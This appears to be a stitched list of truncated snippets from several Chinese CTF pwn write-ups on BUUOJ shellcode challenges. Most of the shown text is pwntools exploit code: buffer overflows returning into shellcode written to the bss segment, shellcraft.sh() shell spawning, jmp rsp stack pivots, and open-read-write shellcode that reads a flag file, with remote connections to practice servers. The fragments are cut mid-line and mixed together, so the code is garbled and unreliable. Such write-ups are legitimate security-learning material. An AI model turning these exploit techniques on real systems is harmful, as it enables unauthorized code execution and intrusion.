payload=payload.ljust(0x28,b'\x00') payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp') 最后的rsp减去0x30的原因是为了让新rsp在运行了前面的代码后重新到0x12300这个位置,这样才正确的执行我构造orw的shellcode 最后附上我们完整的代码 frompwnimport* context(arch ='amd64',os ='linux',log_leve...
仔细看看发现asm里面是int 0x80,启动中断,那么这时我们看看eax,eax就是result,这个赋值成了11,查一下表发现是execve函数,然后又发现栈上的参数赋值成了/bin//sh,果然是getshell,也就是说连上去就给shell,太爽了 frompwnimport* p=remote('node4.buuoj.cn',27964) p.interactive()...
('node3.buuoj.cn',27053) #elf = ELF('') #libc = ELF('') name_addr = 0x00601080 shellcode = asm(shellcraft.sh()) p.sendafter('tell me your name',shellcode+'\n') payload = 'a'*(0x20+8) + p64(name_addr) p.sendafter('What do you want to say to me?',payload+'\n'...
└─$ file shell_asm shell_asm: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c1e8d8e26946c6b08794abdad991e3909e1bdc7f, not stripped └─$ checksec shell_asm [*] '/home/h-...
rd=shellcraft.read(0,target_addr,0x100)rd+=shellcraft.push('rsi')rd+=shellcraft.ret()rd=asm(rd)p.sendafter(b'Easy shellcode, have fun!\n',b''.join([rd.ljust(0x20,b'\x00'),p64(0xdeadbeef),p64(support_addr),])) 这里和A师傅的思路就类似了区别在于我们现在准确的知道buf地址,所以...
# orw shellcode addr=0x66660000+0x200 payload3=shellcraft.open("./flag") payload3+=shellcraft.read(3,addr,0x50) payload3+=shellcraft.write(1,addr,0x50) payload3=asm(payload3) io.send(payload3) io.interactive() 最后,之所以说我被这题硬控住,是因为格式化字符串漏洞,本人才疏学浅,在此贴上...
r=remote('node4.buuoj.cn',27513) shellcode=asm(shellcraft.sh()) r.sendlineafter("tell me your name",shellcode) payload='a'*0x28+p64(0x601080) r.sendlineafter("What do you want to say to me?",payload) r.interactive() 1. 2. 3. 4. 5. 6. 7. 8....
38 payload=asm(shellcode1) 39 payload=payload.ljust(0x28,b'\x00') 40 payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp') 41 s.sendline(payload) 42 43 s.send(asm(shellcode2)) 44 45 1. 2. 3. 4. 5. 6. 7. 8. 9.
该函数调用 system() 函数打开了 Linux 系统的 Shell,如此一来我们传入的每一段字符都将作为命令被执行,这也是前一关中可以直接使用命令打开 flag 的原因。而现在的任务就是让该函数在程序中被执行。 想在执行过程中插入并运行函数,就有必要了解一下程序中的函数调用机制,当然在这里只分析其中栈的部分。在 64 位...
思路很简单,将shellcode写入bss段,然后栈溢出rop到bss段上执行shellcode,拿到shell 注意栈帧大小 from pwn import * from LibcSearcher import * from struct import pack context.os='linux' context.arch='amd64' context.log_level='debug' sd=lambda x:io.send(x) sl=lambda x:io.sendline(x) ru=lambd...